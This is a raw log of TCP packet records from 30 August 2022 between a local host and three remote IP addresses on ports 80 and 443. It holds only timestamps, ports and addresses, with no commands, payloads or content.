Aug 30, 2022 15:54:49.230201006 CEST	49730	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:49.432471037 CEST	80	49730	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:50.383457899 CEST	49731	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:50.569648981 CEST	80	49731	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:50.569818974 CEST	49731	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:50.569926023 CEST	49731	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:50.572575092 CEST	49731	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:50.761828899 CEST	80	49731	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:51.365268946 CEST	80	49731	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:51.369473934 CEST	80	49731	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:51.369627953 CEST	49731	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:51.417344093 CEST	49731	80	192.168.2.5	190.140.74.43
Aug 30, 2022 15:54:51.604213953 CEST	80	49731	190.140.74.43	192.168.2.5
Aug 30, 2022 15:54:51.834714890 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:52.087938070 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:52.088044882 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:52.106067896 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:52.106108904 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:52.358819008 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.290148973 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.290302992 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.290447950 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:53.545001030 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.545089006 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.545151949 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.545162916 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:53.545217991 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.545296907 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:53.802340984 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802375078 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802390099 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802407026 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802426100 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802442074 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802459955 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802476883 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:53.802496910 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:53.802548885 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:54.353136063 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.353238106 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:54.606054068 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.606117010 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.606158972 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.606198072 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:54.606200933 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.606245995 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.606268883 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:54.766181946 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:54.858954906 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.859018087 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.859059095 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.859100103 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:54.859103918 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:54.859164953 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.019202948 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.078497887 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.111675978 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.111738920 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.111782074 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.111821890 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.111854076 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.111861944 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.111912966 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.281673908 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.331619024 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.364759922 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.364808083 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.364862919 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.364903927 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.364943027 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.364944935 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.364974022 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.365015030 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.534430027 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.578639984 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.617445946 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617557049 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617599964 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617644072 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617683887 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617717981 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.617723942 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617739916 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.617764950 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.617795944 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.781698942 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.831217051 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870054007 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870079994 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870110989 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.870276928 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870300055 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870318890 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870326996 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.870341063 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870362997 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:55.870363951 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:55.870399952 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.035305023 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.081696033 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.122555017 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.122646093 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.122714043 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.122720957 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.122778893 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.122839928 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.122853041 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.122916937 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.122971058 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.122984886 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.123049974 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.123099089 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.123111010 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.282154083 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.334424973 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375612020 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375714064 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375754118 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375756979 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.375794888 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375837088 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375859976 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.375880003 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375883102 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.375921011 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375962019 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.375992060 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.469278097 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.534929991 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.578632116 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.628320932 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628348112 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628365040 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628381968 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628398895 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628416061 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628432989 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628434896 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.628449917 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.628515959 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.628523111 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.628528118 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.628576994 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.722078085 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.722199917 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.834172964 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.884891987 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.884974957 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.884977102 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.885042906 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885103941 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.885111094 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885155916 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885196924 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885200977 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.885250092 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885310888 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885363102 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.885396004 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.885442019 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:56.974698067 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.974731922 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:56.974869967 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.138299942 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138339043 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138367891 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138411045 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138430119 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138436079 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.138448000 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138465881 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138483047 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138500929 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138499975 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.138530016 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138557911 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.138559103 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.138605118 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.138611078 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.227462053 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.227514982 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.227541924 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.267986059 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.391072989 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391133070 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391174078 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391216040 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391237020 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.391256094 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391272068 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.391297102 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391339064 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391344070 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.391406059 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391449928 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391453981 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.391489983 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391530991 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.391535997 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.480089903 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.480154037 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.480191946 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.520627022 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.522953033 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.644035101 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644098043 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644140005 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644206047 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644226074 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.644288063 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644340992 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644340992 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.644381046 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644423962 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644445896 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.644465923 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644485950 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.644506931 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644546032 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.644604921 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.732860088 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.732924938 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.733072996 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.775856018 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.775913954 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.776021004 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.898053885 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898122072 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898165941 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898207903 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898247957 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898267984 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.898291111 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898333073 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898338079 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.898360014 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.898372889 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898412943 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898428917 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.898454905 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898494959 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898536921 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.898560047 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.898597956 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:57.985857010 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.985897064 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:57.986032009 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.028460026 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.028485060 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.028584003 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.151221991 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151271105 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151310921 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151341915 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.151405096 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151459932 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151505947 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151545048 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151551008 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.151583910 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151603937 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.151624918 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151664019 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151669025 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.151705027 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151743889 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151774883 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.151784897 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.151825905 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.238739967 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.238771915 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.238833904 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.280989885 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.281030893 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.281112909 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.292025089 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.292078018 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:58.292182922 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.299603939 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.299634933 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:58.350811005 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:58.350929022 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.376096010 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.376133919 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:58.376410961 CEST	443	49733	104.21.40.196	192.168.2.5
Aug 30, 2022 15:54:58.404269934 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404325008 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404369116 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404409885 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404427052 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.404453993 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404474020 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.404498100 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404541016 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404589891 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404591084 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.404630899 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404671907 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404686928 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.404715061 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404722929 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.404757977 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404799938 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.404861927 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.485081911 CEST	49733	443	192.168.2.5	104.21.40.196
Aug 30, 2022 15:54:58.491467953 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.491520882 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.491561890 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.491590977 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.533680916 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.533730030 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.533761024 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.578814983 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.657548904 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657644033 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657706022 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657763958 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657816887 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657835960 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.657866955 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.657870054 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657942057 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.657974958 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.657998085 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.658057928 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.658068895 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.658118010 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.658180952 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.658233881 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.658293962 CEST	80	49732	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:58.658307076 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.658363104 CEST	49732	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:58.744141102 CEST	80	49732	115.88.24.202	192.168.2.5
